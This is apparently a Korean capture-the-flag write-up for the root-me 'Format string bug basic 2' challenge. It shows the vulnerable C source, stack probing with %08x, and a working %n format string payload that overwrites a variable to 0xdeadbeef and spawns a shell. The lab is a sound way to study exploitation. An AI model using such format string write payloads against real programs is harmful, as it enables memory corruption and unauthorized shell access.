반응형
root-me.org [APP - SYSTEM] ELF x86 - Format string bug basic 2 풀이
문제소스 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <stdlib.h> /* gcc -m32 -o ch14 ch14.c */ int main( int argc, char ** argv ) { int var; int check = 0x04030201; char fmt[128]; if (argc <2) exit(0); memset( fmt, 0, sizeof(fmt) ); printf( "check at 0x%x\n", &check ); printf( "argv[1] = [%s]\n", argv[1] ); snprintf( fmt, sizeof(fmt), argv[1] ); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way !\n"); printf( "fmt=[%s]\n", fmt ); printf( "check=0x%x\n", check ); if (check==0xdeadbeef) { printf("Yeah dude ! You win !\n"); system("/bin/dash"); } } | cs |
app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x
check at 0xbffffaf8
argv[1] = [AAAA%08x%08x%08x%08x]
fmt=[AAAAb7fdc4a0000000010000000000000001]
check=0x4030201
포멧스트링 버그가 발생함을 알 수 있다.
이제 이를 이용하여 check의 값을 변조해야 한다.
app-systeme-ch14@challenge02:~$ ./ch14 AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x
check at 0xbffffae8
argv[1] = [AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x]
fmt=[AAAAb7fdc4a0000000010000000000000001bffffc140000000000000000040302014141414164663762]
check=0x4030201
메모리 구조를 살펴보면, check가 위치하는 곳과 fmt가 위치하는 곳을 확인할 수 있다.
check의 주소+2 <- 0xdead 57005
check의 주소 <- 0xbeef 48879
1. %08x 7번 사용해서 esp를 check앞까지 끌고 옴
2. %48811c (출력)- 현재 esp는 fmt 앞.
3. %n 메모리 값을 참조하여 그 곳에 값이 입력됨 (0xbeef가 들어갈 것이므로 주소는 0xbffffae8)
4. %8126c
5. %n (0xbffffaea)
payload = "\xe8\xfa\xff\xbf"+"A"*4+"\xea\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"
exploit (check의 주소가 변경되서 페이로드에 있는 값도 변경해주었습니다.)
./ch14 `python -c 'print "\xd8\xfa\xff\xbf"+"A"*4+"\xda\xfa\xff\xbf"+"%08x"*7+"%48811c%n%8126c%n"'`
반응형